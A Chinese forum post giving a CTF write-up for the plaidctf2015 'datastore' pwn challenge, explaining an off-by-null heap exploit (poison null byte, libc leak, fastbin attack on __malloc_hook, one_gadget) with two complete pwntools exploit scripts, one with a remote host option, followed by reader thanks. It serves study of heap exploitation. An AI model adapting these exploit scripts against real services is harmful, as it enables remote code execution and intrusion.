吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4856|回复: 17
收起左侧

[CTF] pwn题off-by-null详解

  [复制链接]
HNHuangJingYU 发表于 2022-1-28 01:40
本帖最后由 HNHuangJingYU 于 2022-1-28 01:51 编辑

题目:  plaidctf2015_plaiddb ->datastore

前几天吾爱官方发布的top榜单,突然看到了我的用户名,太激动了感谢官方{:1_919:} {:1_887:}

保护

image.png
恩,全开

分析

image.png

这题不用纠结这个二叉树算法,解题思路和算法方面关系不大

put函数:(用于添加键值对)
image.png
image.png

off-by-null函数
image.png

get函数: (显示单个数据库中键的值)
image.png

dump函数(用于显示所有信息)

image.png

dele函数(内容过多,只粘贴核心部分,用于删除单个键值对)
image.png

image.png

bss全局保存变量

image.png

程序的数据库结构理解图:

image.png

思路

程序中有uaf漏洞,off-by-null漏洞,且程序保护措施全开,思路就是在__malloc_hook 处写入one_gadget 进行攻击,那么可以用posion null byte + fast bin attack 进行getshell

那么首先就是使用posion null byte 泄露libc

因为程序有固定的malloc格式,且具有溢出null字节的malloc处在key_ptr处那么就需要将key_ptr放置在unsort bin的上面

malloc(1) 10个 然后free()它们,这样key_ptr(0x20)和all_ptr(0x40)就会留在fast bin里面,下次malloc时就会去bin中重新分配,而自定义大小的data_ptr就可以物理邻边了如图所示:

for i in range(10):
    put(str(i), 1, str(i))
for i in range(10):
    dele(str(i))

此时的堆结构

image.png

接下来构造posion-null-byte的堆结构 : chunkA + chunkB(unsort) + chunkC 其中chunkA具有溢出null字节功能

put('A',0x70,'A'*0x70) #不能是unsort bin不然会和B合并
put('B',0x100,'B'*0x100) #必须是unsort bin用于后面的分割unsort bin
put('C',0x100,'C'*0x100) #必须是unsort bin才能在释放后根据prev_size进行向上合并
put('P',0x20,'P') #用于防止合并进top chunk

经过上面的布局现在堆空间将会把data_ptr物理邻近在一起如图 : (因为fast bin的先进后出的规则顺序P->C->B->A )
image.png

那么现在posion-null-byte的堆结构可以搭好,那么就需要使0x55ce662535a0(0x80)这个chunk可以溢出null字节,因为这个chunk是属于data_ptr它并没有null字节溢出功能,那么就可以通过uaf漏洞将他free掉,再malloc一个key_ptr大小为0x70( 解释看下图伪函数 )就可以拿到这块堆块了

dele('A') #free chunkA 使下面的key_ptr拿到这块
dele('B')
put('A'*0x78,0x10,'A'*0x10)#off-by-null #key_ptr的默认大小为0x20 当大小为0x78时会重新分配,并且可以溢出一字节
#溢出字节到chunk_B(unsort bin状态)将size 由0x110 -> 0x100

image.png

此时的堆空间:
image.png

理解图:
image.png

因为chunkB是非fast chunk所以free后就进入了unsort bin 中,那么此时再次malloc小于0x100则会从chunkB中进行分割分配出来

put('B1',0x80,'D'*0x80)
put('B2',0x40,'E'*0x40)
#此时剩余unsort bin空间0x100 - (0x90+0x50) = 0x20

此时堆空间图:
image.png

理解图:
image.png

那么此时将chunkC释放后进行unlink合并,系统会根据chunkC的prev_size的偏移去找到chunkB1但是此时chunkB1是使用状态,且chunkC的P标志位为0,那么程序会报错,所以就需要在释放chunkC前释放chunkB1就可以正常的合并unlink了

dele('B1') #先 这里不释放的话会报错
dele('C') #后

此时堆空间如图:
image.png

从上面可以看出chunkC通过prev_size与chunkB1进行合并后chunkB2在程序中还是被认为使用状态,那么在打印数据的是否chunkB2可以正常打印,根据unsort attack可知,如果将chunkB2放入unsort bin再打印数据即可获得libc地址

直接释放chunkB2肯定是不可行的,那么这里可以再次通过unsort bin 进行分割使分割后存入unsort bin的fd和bk刚好在chunkB2的data区域那么就可以打印了,ok

put('B1',0x80,'F'*0x80) #切割unsotbin后 chunk_B2将位于unsort bin头部
get('B2') #打印chunkB2
ru('bytes]:\n')
libc_base  = uu64(rc(6)) - (0x7fe31cd6cb78 - 0x7fe31c9a9000)
success("libc",libc_base)

那么此时就可以获得__malloc_hook的地址了,然后进行fast bin attack将fast chunk写入到__malloc_hook-0x23处,再进行one_gadget即可getshell

经过上一步的泄露libc此时chunkB2是一个unsort bin,那么再次释放chunkB1那么又会发生合并,具体实现如下:

dele('B1') #重新合并unsort bin
payload = b'\x00'*0x88 + p64(0x70) #对应着__malloc_hook-0x23处的fast chunk
payload += b'\x00'*0x68+ p64(0x21) #绕过free的检查
put_s('B1',0x190,payload) #重新拿回chunk 并写入数据 将chunkB2变为fast bin
dele('B2') #释放fast bin

fast bin attack实现任意地址写需要对处于fast bin的该chunk的fd进行修改使它指向目的地址处,那么就需要再改一次chunkB2的数据如下:

dele('B1')
payload = b'\x00'*0x88 + p64(0x70) + p64(malloc_hook-0x23)
put_s('B1',0x190,payload) #修改fd  #这个put_s是我用来区分字节流和字符流的

此时的堆空间:
image.png

最后就是常见的fast bin attack手段

payload = b'\x00'*0x13 + p64(one[0] + libc_base) #第二次malloc得到__malloc_hook-0x23
put('D',0x60,'D'*0x60)
put_s('E',0x60,payload)

最终exp:

# -*-coding:utf-8 -*
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./datastore"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

def z(s='b main'):
 gdb.attach(p,s)

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def pa(s='暂停!'):
  log.success('当前执行步骤 -> '+str(s))
  pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
#idx = int(sys.argv[1])

def put_s(a,b,c):
    sla("PROMPT: Enter command:\n",'PUT')
    sla("PROMPT: Enter row key:\n",a)
    sla("PROMPT: Enter data size:\n",str(b))
    sla("PROMPT: Enter data:\n",c.ljust(b,b'\x00'))
def put(a,b,c):
    sla("PROMPT: Enter command:\n",'PUT')
    sla("PROMPT: Enter row key:\n",a)
    sla("PROMPT: Enter data size:\n",str(b))
    sla("PROMPT: Enter data:\n",c.ljust(b,'\x00'))
def dump():
    sla("PROMPT: Enter command:\n",'DUMP')
def get(a):
    sla("PROMPT: Enter command:\n",'GET')
    sla("PROMPT: Enter row key:\n",a)
def dele(a):
    sla("PROMPT: Enter command:\n",'DEL')
    sla("PROMPT: Enter row key:\n",a)

#------------start----------------
for i in range(10):
    put(str(i), 1, str(i))
for i in range(10):
    dele(str(i))
#填充chunk至bin中 这样下面malloc的chunk就可以物理邻边
#------------架构posion null byte----------------
put('A',0x70,'A'*0x70) #不能是unsort bin不然会和B合并
put('B',0x100,'B'*0x100) #必须是unsort bin用于后面的分割unsort bin
put('C',0x100,'C'*0x100) #必须是unsort bin才能在释放后根据prev_size进行向上合并
put('P',0x20,'P') #用于防止合并进top chunk

dele('A') #free chunkA 使下面的key_ptr拿到这块
dele('B') #posion null byte结构
put('A'*0x78,0x10,'A'*0x10)#off-by-null #key_ptr的默认大小为0x20 当大小为0x78时会重新分配,并且可以溢出一字节
#------------unlink----------------
put('B1',0x80,'D'*0x80)
put('B2',0x40,'E'*0x40)

dele('B1') #先 这里不释放的话会报错
dele('C') #后
#------------leak libc----------------
put('B1',0x80,'F'*0x80) #切割unsotbin后 chunk_B2将位于unsort bin头部
get('B2') #打印
ru('bytes]:\n')
libc_base  = uu64(rc(6)) - (0x7fe31cd6cb78 - 0x7fe31c9a9000)
success("libc",libc_base)
#------------fast bin attack----------------
malloc_hook = libc_base + libc.symbols['__malloc_hook']
success("__malloc_hook",malloc_hook)

dele('B1') #重新合并unsort bin
payload = b'\x00'*0x88 + p64(0x70) #对应着__malloc_hook-0x23处的fast chunk
payload += b'\x00'*0x68+ p64(0x21) #绕过free的检查
put_s('B1',0x190,payload) #重新拿回chunk 并写入数据 将chunkB2变为fast bin
dele('B2') #释放fast bin

dele('B1')
payload = b'\x00'*0x88 + p64(0x70) + p64(malloc_hook-0x23)
put_s('B1',0x190,payload) #修改fd #这个put_s是我用来区分字节流和字符流的
#------------one_gadget----------------
put('D',0x60,'D'*0x60)
payload = b'\x00'*0x13 + p64(one[1] + libc_base) #第二次malloc得到__malloc_hook-0x23
put_s('E',0x60,payload)
sla("PROMPT: Enter command:\n",'DEL') #这里不能使用PUT因为PUT第一个malloc时会对返回值进行判断malloc失败则退出
#------------end----------------
it()

方法二exp:

其实就是上面的精简版

# -*-coding:utf-8 -*
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./datastore"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

def z(s='b main'):
 gdb.attach(p,s)

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def pa(s='暂停!'):
  log.success('当前执行步骤 -> '+str(s))
  pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
#idx = int(sys.argv[1])

def put(a,b,c):
    sla("PROMPT: Enter command:\n",'PUT')
    sla("PROMPT: Enter row key:\n",a)
    sla("PROMPT: Enter data size:\n",str(b))
    if len(c) < b :
        sla("PROMPT: Enter data:\n",c.ljust(b,b'\x00'))
    else:
        sla("PROMPT: Enter data:\n",c)

def dump():
    sla("PROMPT: Enter command:\n",'DUMP')
def get(a):
    sla("PROMPT: Enter command:\n",'GET')
    sla("PROMPT: Enter row key:\n",a)
def dele(a):
    sla("PROMPT: Enter command:\n",'DEL')
    sla("PROMPT: Enter row key:\n",a)

#------------paddig----------------
for i in range(8):
    put(str(i),1,str(i))
for i in range(8):
    dele(str(i))
#----------------------------
#首先posion-null-byte的造成堆重叠的结构需要三个chunk
put('a',0x200,'A'*0x200) #unsort bin
put('e',0x20,'E'*0x20) #用于泄露libc
put('d',0x60,'D'*0x60) #用于malloc_hook-0x23处
put('b',0x1f0,'B'*0x1f0)#unsort bin
put('c',0xf0,'C'*0xf0)#unsort bin 必须是0xf0这样才不会被off-by-null而改变chunk->size
put('P',0x20,'P'*0x20)
#------------------------------
dele('a') #首先释放chunka 对于下面释放chunkc后发生向上合并的检查绕过
dele('b') #重新分配到key_ptr
dele(b'b'*0x1f0 +p64(0x4b0))
dele('c') #向上合并
#------------------------------
put('a',0x200,'A'*0x200)
get('e') #打印动态地址
ru('\n')
libc_base  = uu64(rc(6)) - (0x7f0eea245b78-0x7f0ee9e82000) 
malloc = libc_base + libc.symbols['__malloc_hook']
success('libc',libc_base)
success('malloc_hook',malloc)
#----------------------------
dele('d') #放入fast bin attack
put('f',0x40,b'f'*0x20 + p64(0) + p64(0x71) + p64(malloc-0x23))
put('g',0x60,b'g')
put('x',0x60,p8(0)*0x13 + p64(libc_base + one[1]))
#----------------------------
sla("PROMPT: Enter command:\n",'DEL')
it()
image.png

免费评分

参与人数 4吾爱币 +3 热心值 +3 收起 理由
山岚 + 1 谢谢@Thanks!
坎德沃 + 1 建议帖主开个pwn系列的教程
笙若 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
lxhyjr + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Rt1Text 发表于 2022-3-16 18:52
这个这么多保护全开就很牛x,新pwn手见识到了大佬级别的pwn题,虽然我看不懂,但我大为震撼,师傅tql
wangfu 发表于 2022-1-28 10:38
zhengtiandfg 发表于 2022-1-28 20:24
ych13846701169 发表于 2022-1-28 21:41
厉害,就是学不会呀
qe13323 发表于 2022-1-29 10:54
萌新的膜拜
头像被屏蔽
yyspawn 发表于 2022-1-30 07:13
谢谢分享
坟墓 发表于 2022-1-30 12:49

感谢分享
sjqwsy 发表于 2022-2-12 16:24
非常好的资源  支持一下  谢谢
Meiosis 发表于 2022-2-12 18:52
学习一个
无言Y 发表于 2022-2-15 11:10
感谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-24 10:56

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表